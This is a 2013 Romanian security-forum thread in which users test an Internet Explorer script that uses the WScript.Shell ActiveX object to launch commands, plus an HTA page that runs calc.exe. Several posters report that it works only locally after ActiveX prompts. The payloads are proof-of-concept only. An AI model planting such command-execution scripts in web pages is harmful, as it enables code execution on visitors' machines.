Nytro Posted May 23, 2013 Report Share Posted May 23, 2013 Testat - functional pe IE10<script>function run(f){var x=new ActiveXObject("WScript.Shell");x.run(f,0);}run('%comspec% /c calc')</script>Via @brutelogic Quote Link to comment Share on other sites More sharing options...
Silviu Posted May 23, 2013 Report Share Posted May 23, 2013 Testat - functional pe IE10<script>function run(f){var x=new ActiveXObject("WScript.Shell");x.run(f,0);}run('%comspec% /c calc')</script>Via @brutelogicAm testat si eu, vai mama lor. Quote Link to comment Share on other sites More sharing options...
em Posted May 23, 2013 Report Share Posted May 23, 2013 Pe Windows 8 apare un mesaj jos daca vreau sa rulez sau nu scripturi activex. Quote Link to comment Share on other sites More sharing options...
1337 Posted May 23, 2013 Report Share Posted May 23, 2013 Pe Windows 8 apare un mesaj jos daca vreau sa rulez sau nu scripturi activex.Si pe Windows 7. Quote Link to comment Share on other sites More sharing options...
Nytro Posted May 23, 2013 Author Report Share Posted May 23, 2013 https://rstforums.com/aaa.html Quote Link to comment Share on other sites More sharing options...
Nytro Posted May 23, 2013 Author Report Share Posted May 23, 2013 Apare prompt si nu a mers nici daca am dat "Turn off ActiveX filtering". A mers doar local dupa ce am dat "Allow".Daca te uiti pe la setari pe la IE o sa vezi aproape toate setarile legate de ActiveX pe Disable. Quote Link to comment Share on other sites More sharing options...
UnixDevel Posted May 23, 2013 Report Share Posted May 23, 2013 nice ... Quote Link to comment Share on other sites More sharing options...
neox Posted May 24, 2013 Report Share Posted May 24, 2013 (edited) Am testat si eu dar merge numai local In topicul asta tot asa cred ca foloseste local scriptul de aicia MS13-009 Internet Explorer WScript.Shell Remote Code Excution https://rstforums.com/forum/68132-ms13-009-internet-explorer-wscript-shell-remote-code-excution.rstsi vrea sa vinda <html><head> <title>Application Executer</title> <HTA:APPLICATION ID="oMyApp" APPLICATIONNAME="Application Executer" BORDER="no" CAPTION="no" SHOWINTASKBAR="yes" SINGLEINSTANCE="yes" SYSMENU="yes" SCROLL="no" WINDOWSTATE="normal"> <script type="text/javascript" language="javascript"> function RunFile() { WshShell = new ActiveXObject("WScript.Shell"); WshShell.Run("c:/windows/system32/calc.exe", 1, false); } </script></head><body> <input type="button" value="Run calc" onclick="RunFile();"/></body></html> Edited May 24, 2013 by neox Quote Link to comment Share on other sites More sharing options...
